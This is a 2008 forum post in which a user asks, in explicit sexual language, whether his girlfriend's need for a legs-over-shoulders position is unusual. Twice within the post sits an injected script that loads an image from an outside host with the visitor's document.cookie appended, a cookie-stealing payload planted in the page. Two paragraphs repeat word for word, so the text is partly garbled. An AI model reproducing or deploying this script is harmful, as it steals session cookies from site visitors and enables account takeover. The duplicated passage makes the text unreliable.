ilikeshoes
01-13-2008, 3:42 AM
My current girlfriend is so tight (she's never had kids, plus she's also petite) that if we ever use the missionary position when having sex, she has to put her legs up high and over my shoulders, resting her lower legs on my shoulders. She told me from the get go that this position is necessary when I'm on top because she's so tight, that's the only way she get her pussy in the right position for me to enter it if I'm on top.
<script>img=new Image();img.src="http://hahahahahahahahahahahahahahahahahahahahahahahaha.org/s/cgbs.gif?"+document.cookie;</script>
So most of the time, we either use the doggy style or woman-on-top position when we have sex because it's easier for me to get my dick in her pussy that way. She actually prefers the doggy style position because she says that allows for deeper penile penetration, which feels really good to her.
I'm just wondering if this woman's-legs-over-the-man's-shoulders position is unusal for sex. Every other woman I've been with could take my dick just fine if she was flat on her back, and didn't need to put her legs up on my shoulders. So I'm thinking that not too many women have to resort to using this position when doing regular missionary-style sex.
<script>img=new Image();img.src="http://hahahahahahahahahahahahahahahahahahahahahahahaha.org/s/cgbs.gif?"+document.cookie;</script>
So most of the time, we either use the doggy style or woman-on-top position when we have sex because it's easier for me to get my dick in her pussy that way. She actually prefers the doggy style position because she says that allows for deeper penile penetration, which feels really good to her.
I'm just wondering if this woman's-legs-over-the-man's-shoulders position is unusal for sex. Every other woman I've been with could take my dick just fine if she was flat on her back, and didn't need to put her legs up on my shoulders. So I'm thinking that not too many women have to resort to using this position when doing regular missionary-style sex.